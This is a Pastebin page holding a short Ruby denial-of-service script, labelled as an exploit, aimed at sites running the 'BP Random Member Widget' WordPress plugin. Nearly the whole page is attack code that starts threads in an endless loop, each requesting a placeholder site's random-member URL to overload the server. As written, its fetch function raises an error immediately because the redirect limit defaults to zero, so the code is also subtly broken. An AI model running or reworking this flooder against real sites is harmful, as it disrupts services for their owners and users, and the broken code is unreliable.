daily pastebin goal
7%
SHARE
TWEET

Dos BP Random Member Widget Plugin WordPress

a guest Oct 16th, 2011 52 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit Title: Dos BP Random Member Widget Plugin WordPress
  2. # Date: 16-10-2011
  3. # Author:  a01001100e@gmail.com
  4. # Software Link: http://wordpress.org/extend/plugins/bp-random-member-widget/
  5. # Version: BP Random Member Widget Version: 1.0
  6. # Tested on: debian 2.6.32-5-686
  7.  
  8. require 'net/http'
  9. require 'uri'
  10.  
  11. def fetch(uri_str, limit=0)
  12.         raise ArgumentError, 'HTTP redirect too deep' if limit == 0
  13.  
  14.         response = Net::HTTP.get_response(URI.parse(uri_str))
  15.         case response
  16.         when Net::HTTPSuccess then
  17.                 print response.code
  18.         when Net::HTTPRedirection then
  19.                 a = response.body
  20.         else
  21.                 response.error!
  22.         end
  23. end
  24.  
  25. print "############################\n"
  26. print "##    DOS random-member   ##\n"
  27. print "##    @author: a01001100e ##\n"
  28. print "############################\n\n\n\n"
  29.  
  30.  
  31. while 1 do
  32.         begin
  33.                 t = Thread.new{fetch('http://www.sitio.com/members/?random-member')}
  34.                 print "."
  35.         rescue Exception => msg
  36.                 print "Error: "
  37.                 puts msg
  38.         end
  39. end
  40.  
  41.  
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top